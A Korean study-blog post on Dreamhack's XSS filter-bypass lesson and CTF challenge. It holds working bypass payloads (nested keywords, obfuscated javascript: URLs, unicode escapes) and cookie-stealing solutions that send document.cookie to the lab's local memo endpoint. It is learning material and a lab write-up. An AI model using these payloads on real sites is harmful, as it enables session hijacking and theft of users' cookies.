드림핵 Web Hacking-9일차

지선·2023년 8월 8일

드림핵WebHacking

목록 보기
10/12

XSS Filtering Bypass

=xss 필터링을 우회하는 법(근본적으로 태그 삽입 되지 않도록 원인 제거해야함!!!)

legacy

SGML을 바탕으로 창시한 HTML
SGML? 마크업 언어를 일반화했던 표준
HTML을 사용자가 편하게 작성하기 위함에 따라 문법이 복잡해지고, sw의 구조 또한 정교해짐
+브라우저 전쟁
-> 자신의 웹 브라우저가 해석할 수 있는 HTML에 규율 없이 태그 늘려가기
-> 표준화 정립 전까지 쌓여온 기능들이 현재에는 안쓰게 됨
-> HTML 해석하는 sw작성 어려워짐+ XSS 필터링도 마찬가지
따라서, XSS 필터링은 안전하다고 알려진 마크업만 허용해야함(Allowlist 필터링)
일부 문자열만을 필터링하면 FP, FN이 발생해 필터링 자체가 이루어지 않을 수 있어 취약점 발생 가능성 있음

자바 스크립트 실행 HTML 태그

script 태그
이벤트 핸들러 on: 특정 요소에서 발생하는 이벤트 처리하기 위해 존재, 콜백 형태의 핸들러 함수
onerror, onload, onfocus

<img src="~~" onload="alert(document.cookie)">
<!--~~링크를 가진 이미지 로드 성공시 onload 핸들러 실행 -> 쿠키를 알림창으로 보여주게 됨-->
<!--이미지 로드 실패시 onload 핸들러 실행 x>-->
<img src="`~" onerror="alert(document.cookie)">
<!--~링크 가진 이미지 로드 성공시 실행 x
~링크 가진 이미지 로드 실패시 onerror 핸들러 실행=>쿠키를 알림창으로 보여주게 됨-->
<input type="text" id="inputID" onfocus="alert(document.cookie)" autofocus>
<!--input 태그: 사용자의 데이터를 받을 수 있는 대화용 컨트롤 생성
autofocus로 인해 페이지가 로드가 되지마자 바로 input 태그에 포커스, 포거스 된 직후 onfocus 핸들러 실행됨-->
<!--방법1. input 태그의 autofocus 속성 이용해 자동 포커스 시키기
방법2. url의 hash 부분에 input 태그의 id 속성값 입력-->

문자열 치환

단순 구문 제거-> 필터링 되는 키워드 사이에 키워드 넣기

(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />

대안방안: 문자열에 변화 없을 때까지 지속적으로 치환하기

function replaceIterate(text) {
    while (true) {
        var newText = text
            .replace(/script|onerror/gi, '');
        if (newText === text) break;
        text = newText;
    }
    return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,&lt;svg&gt;" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,&lt;svg&gt;" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="&lt;sonerrorcript&gt;parent.alescronerroriptrt(1)&lt;/scrionerrorpt&gt;" />')
--> <iframe srcdoc="&lt;&gt;parent.alert(1)&lt;/&gt;" />

활성 하이퍼링크

HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠 포함 가능
1. javascript: 스키마 -> URL 로드시 자바스크립트 코드 실행 가능
a태그나 iframe 태그에 사용 가능 (이 태그들은 url을 속성값으로 받기 때문)

<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">

그래서 javascript:스키마 사용치 못하게 필터링 해야함
2. 정규화를 이용해 우회 가능

<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
  1. HTML Entity Encoding
    HTML에서 의미 있는 문자를 entity로 변환하는 프로세스
    <:<
<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">

url 객체를 통해 url 직접 정규화

function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"

protocol, hostname 등 url의 정보 추출 가능

취약한 필터링

  1. 대소문자 모두 검사 x
<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />
  1. 잘못된 정규표현식을 이용한 필터 우회
    스크립트 태그 내 데이터가 존재하는지 검사 코드
x => !/<script[^>]*>[^<]/i.test(x)

script src 속성 이용한 우회

<script src="data:,alert(document.cookie)"></script>

태그 검사 코드

x => !/<script|<img|<input/i.test(x)

우회

<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>

태그 검사 코드+on 이벤트 핸들러 검사+멀티 라인 지원 문자 검사

x => !/<script|<img|<input|<.*on/is.test(x)

새로운 inner frame 생성하는 iframe 태그 이용해 우회 가능
src 속성: url을 인자로 받음-> 활성 하이퍼링크 이용해 자바 스크립트 코드 삽입 가능
srcdoc 속성: iframe 요소에 보일 웹페이지의 HTML 코드 명시

<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

Unicode escape sequence

문자열에서 유니코드 문자를 코드 포인트로 나타낼 수 있는 표기법

var foo = "\u0063ookie";  // cookie
// "c"="\u0063"
var bar = "cooki\x65";  // cookie
// "e"="\x65"
\u0061lert(document.cookie);  // alert(document.cookie)

Computed member access

객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능

document["coo"+"kie"] == document["cookie"] == document.cookie
alert(document["\u0063ook" + "ie"]);  // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert(document.cookie)

필터링 우회

alert, XMLHttpRequest 등 문서 최상위 객체 및 함수:
window['al'+'ert'], window['XMLHtt'+'pRequest'] 등
window: self, this
eval(code): Function(code)()
Function: isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근

XSS-Filtering-Bypass

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

xss_filter에서는 "script", "on", "javascript"를 필터링하고, 소문자로 바꾼다.

이전에 xss문제들과 비슷해서 설명은 생략!

filtering을 피해갈 수 있는 방법은 정말 많겠지만 문자를 겹쳐써주면
<sscriptcript>new Image().src = "http://127.0.0.1:8000/memo?memo=" + document.cookie;</scriscriptpt>

성공

글고 더 해보고 싶어서 어떤 것들이 되는지 해보았다.

<sscriptcript>window.open("http://127.0.0.1:8000/memo?memo=" + document.cookie)</scriscriptpt>
<img src="" oonnerror="locatioonn.href='http://127.0.0.1:8000/memo?memo='+document.cookie">
<svg oonnload="locatioonn.href='http://127.0.0.1:8000/memo?memo='+document.cookie">

마지막으로 주인을 잘못 만난 내 노트북 키보드와 함께...ㅠ

profile
긍정왕되기

0개의 댓글